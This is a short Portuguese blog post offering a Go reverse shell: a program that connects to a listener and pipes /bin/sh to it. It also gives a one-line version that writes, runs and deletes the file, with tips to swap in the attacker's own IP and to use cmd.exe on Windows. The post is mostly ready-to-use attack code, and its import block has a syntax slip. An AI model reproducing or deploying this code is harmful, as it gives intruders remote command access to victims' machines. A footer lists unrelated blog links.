umgeher's changelog

golang: reverse shell

Um reverse shell em Golang super simples:

package main

import (
  "net"
  "os/exec"
}

func main() {
	c, _ := net.Dial("tcp","127.0.0.1:8222")
	cmd := exec.Command("/bin/sh")
	cmd.Stdin = c
	cmd.Stdout = c
	cmd.Stderr = c
	cmd.Run()
}

Claro, troque o IP e a porta para seu dispatcher.

Voce ainda pode minimizar e ter o reverse shell em “uma linha”.

echo 'package main;import"net";import"os/exec";func main(){c,_:=net.Dial("tcp","127.0.0.1:8222");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > rs.go && go run rs.go && rm rs.go

Eu nao testei, mas acredito que funcione no windows, troque o /bin/sh para cmd.exe e teste.

Articles from blogs I follow around the net

On "real name" policies

Some free software projects reject anonymous or pseudonymous contributions, requiring you to author patches using your “real name”. Such projects have a so-called “real name” policy; Linux is one well-known example.1 The root motivations behind such policies…

via Drew DeVault's blog 2023-10-31 00:00

special octopenbsd 2023

via OpenBSD Webzine 2023-10-30 20:13

LinkedIn post about the Xeact acquisition by Techaro

<Cadey> Hello, welcome to shitposts! This is an experiment of mine where I keep a copy of the various "best hits" of things I post to social networks like LinkedIn. Hope this amuses you!This post was written out by hand…

via Xe Iaso's blog 2023-10-30 14:44

Generated by openring